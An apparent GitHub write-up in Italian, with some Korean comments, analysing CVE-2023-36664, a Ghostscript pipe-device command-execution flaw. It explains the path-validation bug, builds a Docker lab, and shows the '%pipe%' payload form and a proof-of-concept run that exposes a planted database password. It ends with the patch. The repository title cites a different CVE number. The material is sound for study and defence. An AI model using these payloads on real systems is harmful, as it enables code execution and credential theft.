minsmiths/cve-2023-34446
CVE ID: CVE-2023-36664
Prodotto: Ghostscript (< 10.01.2)
Tipo di vulnerabilità: Remote Code Execution (RCE)
Questa vulnerabilità (CVE-2023-36664) è una vulnerabilità di esecuzione arbitraria di codice (RCE) causata dalla gestione insufficiente della validazione dei permessi dei percorsi per i dispositivi pipe (%pipe% o prefisso |) in Ghostscript.
Quando il sistema analizza o elabora un file di documento (PS/EPS) manipolato maliziosamente da un attaccante, possono essere eseguiti comandi di sistema arbitrari senza autorizzazione dell'utente.
Ruolo principale: legge codice di coordinate grafiche essenzialmente testuale (es. "traccia una linea alla posizione 100 200") e lo converte in un'immagine visualizzabile sul monitor o destinata alla stampa.
Una pipe è una funzionalità che collega l'output di un'applicazione all'input di un'altra, consentendo ai software di comunicare tra loro. Nei comandi è rappresentata dal simbolo |.
Esempio: cat /etc/hosts | grep localhost
Ghostscript, quando la modalità sicura (-dSAFER) è attiva per impostazione predefinita, controlla rigorosamente i percorsi dei file per impedire l'accesso a file sensibili di sistema o l'esecuzione arbitraria di comandi esterni.
Problema: quando un attaccante inserisce al posto del percorso file non un nome file normale ma un prefisso di dispositivo pipe (%pipe% o |) manipolato con precisione, la logica di validazione dei permessi interna di Ghostscript non riconosce correttamente questo prefisso e lo lascia passare scambiandolo per un "percorso sicuro" o per "qualcosa da non validare".
Risultato: i comandi pericolosi che avrebbero dovuto essere filtrati bypassano facilmente il ciclo di validazione.
Iniezione del file malizioso: l'attaccante inserisce codice all'interno di un file PostScript (.ps/.eps) nella forma (%pipe%comando_maligno) (modalità) file /DCTDecode filter.
Parsing e fraintendimento: durante la lettura e l'elaborazione del file, Ghostscript supera la fase di validazione dei permessi (il "guardiano") senza errori.
Invio alla shell del sistema operativo: lo stream di comandi che ha superato la validazione viene passato così com'è, tramite la funzione del dispositivo pipe, alla shell interna del sistema operativo (ad es. sh su Linux o cmd su Windows) ed eseguito con i privilegi del backend.
Osservando il codice corretto, si nota che sono stati modificati i seguenti due file .c:
base/gpmisc.cbase/gslibctx.cPer comprendere la vulnerabilità è sufficiente osservare gpmisc.c.
Il punto chiave di questa vulnerabilità è che percorsi speciali come %pipe% non vengono distinti correttamente dai normali percorsi file e vengono riconosciuti come se fossero percorsi ordinari.
gp_file_name_reducePer verificarlo, è necessario esaminare la funzione che sanitizza i percorsi. La funzione responsabile della pulizia del percorso in gpmisc.c è gp_file_name_reduce(...), che internamente chiama gp_file_name_combine() e ne restituisce il risultato.
gp_file_name_reduce(const char *fname, uint flen, char *buffer, uint *blen) {
return gp_file_name_combine(fname, flen, fname + flen, 0, false, buffer, blen);
}
gp_file_name_combine(), come suggerisce il nome, è una funzione che rimuove dal percorso file ricevuto le espressioni di percorso relative non necessarie come ./, //.
È qui che sorge il problema. Se a questa funzione viene passata una stringa speciale che induce l'esecuzione di comandi, come %pipe%, invece di un normale percorso file, la funzione non la riconosce come un modello di percorso valido e restituisce la stringa originale senza alcuna elaborazione.
gp_validate_path_len
gp_validate_path_len(...) è una funzione che internamente chiama gp_file_name_reduce() per validare il percorso; in questo processo non esiste alcuna logica di validazione separata che distingua se l'input è un normale percorso file o una sintassi di esecuzione comandi come %pipe%.
Di conseguenza, una stringa contenente %pipe% passa senza alcun filtraggio, e questa è la causa principale della vulnerabilità.
Pertanto, se una stringa come %pipe%touch /tmp/pwned viene passata come percorso file, anche se l'utente voleva semplicemente renderizzare un file immagine, in realtà viene eseguito il comando touch /tmp/pwned e viene creato il file /tmp/pwned.
┌─────────────────────────────────┐
│ Docker Container │
│ (Ubuntu 22.04 + Ghostscript) │
│ │
│ /home/test/ ← Working directory
│ ├── poc.py ← PoC 생성 스크립트
│ | |
│ └── /var/www/html/config.php ← 민감 정보 파일
│ │
│ User: test (비 root) │
│ Ghostscript: 10.01.1 (취약) │
└─────────────────────────────────┘
La ragione per cui qui è stato scelto un account normale e non root è che, per sicurezza, i server di produzione in genere non usano direttamente l'account root. Pertanto, per riprodurre il più fedelmente possibile una situazione in cui un server reale viene attaccato, l'ambiente è stato configurato su un account normale.
version: '3.8'
services:
gs-lab:
build: .
container_name: cve_lab
network_mode: "host"
environment:
- DISPLAY=${DISPLAY}
volumes:
- /tmp/.X11-unix:/tmp/.X11-unix:ro
- ./poc.py:/home/test/poc.py
stdin_open: true
tty: true
DISPLAY=${DISPLAY}: passa la variabile d'ambiente affinché le applicazioni GUI all'interno del container possano accedere al server di visualizzazione X11 dell'host./tmp/.X11-unix:/tmp/.X11-unix:ro: monta il socket Unix per la comunicazione tra il server di visualizzazione X11 dell'host e il container.
./poc.py:/home/test/poc.py: monta lo script PoC locale dell'host nell'ambiente di esecuzione del container.
FROM ubuntu:22.04
RUN apt update && \
apt install -y \
wget \
build-essential \
gedit \
python3 \
sudo && \
rm -rf /var/lib/apt/lists/*
RUN wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/ghostscript-10.01.1.tar.gz && \
tar -xzf ghostscript-10.01.1.tar.gz
WORKDIR /ghostscript-10.01.1
RUN ./configure && \
make && \
make install
RUN mkdir -p /var/www/html && \
echo "DB_PASSWORD=SuperSecret1234!!!" > /var/www/html/config.php
RUN useradd -m -s /bin/bash test
WORKDIR /home/test
USER test
CMD ["/bin/bash"]
Per configurare l'ambiente PoC di base servono wget per scaricare la versione vulnerabile di Ghostscript, build-essential per compilare i sorgenti dopo aver estratto l'archivio tar.gz, e gedit (il blocco note) che verrà aperto maliziosamente durante l'esecuzione del file .ps.
La versione vulnerabile 10.01.1 di Ghostscript è stata installata prendendo i sorgenti da git. RUN ./configure && \ make && \ make install è stato eseguito seguendo le istruzioni presenti nella cartella dei sorgenti scaricati.
Di solito /var/www/html/config.php contiene i valori di configurazione principali dell'applicazione web, ad esempio nome del database e password.
Quindi, immaginando di voler esfiltrare la password del database, viene creato il file config.php.
Poiché il PoC verrà eseguito con l'account normale test e non con root, viene creato un nuovo utente.
# Docker 이미지 빌드
docker compose -f docker-compose.yml up -d
# 컨테이너 실행
docker exec -it cve_lab bash
All'interno del container:
python3 poc.py -p "gedit /var/www/html/config.php" -m r -f test
Risultato della generazione:
Si può notare che il percorso malizioso inserito è stato incluso correttamente nel file .ps.
gs -dNOSAFER test.ps
gedit si apre automaticamente e viene esposto il contenuto di /var/www/html/config.php.
DB_PASSWORD=SuperSecret1234!!!
È necessario aggiornare Ghostscript a una versione recente, 10.01.2 o successiva, in cui la vulnerabilità è stata ufficialmente corretta.
Nella patch ufficiale è stata aggiunta una logica di validazione all'interno della funzione gp_validate_path_len() prima della chiamata a gp_file_name_reduce().
Gestione delle eccezioni e blocco forzato delle stringhe speciali di pipe: è stato aggiunto un ramo condizionale che rileva in modo completo i casi in cui il prefisso del percorso di input inizia con %pipe% o con il simbolo |.
Versione della patch ufficiale: https://github.com/ArtifexSoftware/ghostpdl/commit/5f56c6f6f989816fc9cc671116740acecbed5b6c